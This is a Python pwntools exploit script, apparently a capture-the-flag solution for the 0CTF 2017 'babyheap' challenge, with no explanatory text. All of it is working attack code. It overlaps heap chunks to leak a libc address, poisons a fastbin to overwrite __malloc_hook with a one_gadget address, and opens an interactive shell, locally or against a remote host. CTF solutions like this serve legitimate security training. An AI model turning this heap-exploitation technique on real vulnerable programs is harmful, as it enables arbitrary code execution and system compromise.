1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * context.log_level='debug' # context.arch='amd64'
elf=ELF("./babyheap_0ctf_2017") libc=ELF("./libc.so.6")
if args['REMOTE']: sh = remote(sys.argv[1], sys.argv[2]) else: sh = process("./babyheap_0ctf_2017")
def create(Size): sh.recvuntil("Command: ") sh.sendline("1") sh.recvuntil("Size: ") sh.sendline(str(int(Size))) def edit(Index,Size,Content): sh.recvuntil("Command: ") sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(Index)) sh.recvuntil("Size: ") sh.sendline(str(int(Size))) sh.recvuntil("Content: ") sh.send(Content) def delete(Index): sh.recvuntil("Command: ") sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(Index)) def show(Index): sh.recvuntil("Command: ") sh.sendline("4") sh.recvuntil("Index: ") sh.sendline(str(Index))
create(0x10) #0 create(0x10) #1 create(0x80) #2 create(0x10) #3
edit(0,0x20,p64(0)*3+p64(0x41)) edit(2,0x20,p64(0)*3+p64(0x71)) delete(1) create(0x30) #1 edit(1,0x20,p64(0)*3+p64(0x91)) delete(2) show(1) sh.recvuntil("\x91"+"\x00"*7) leak=u64(sh.recv(6).ljust(8,"\x00")) print "leak=>" + hex(leak) libc_base = leak-0x3c4b78 malloc_hook = libc_base+libc.sym['__malloc_hook'] print "malloc_hook=>" + hex(malloc_hook) create(0x60)#2 delete(2) edit(1,0x28,p64(0)*3+p64(0x71)+p64(malloc_hook-35)) create(0x60)#2 create(0x60)#3 one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] one = libc_base + one_gadget[1] edit(4,27,"a"*19 + p64(one)) create(0x10) #4 #gdb.attach(sh) sh.interactive() print(sh.recv())
|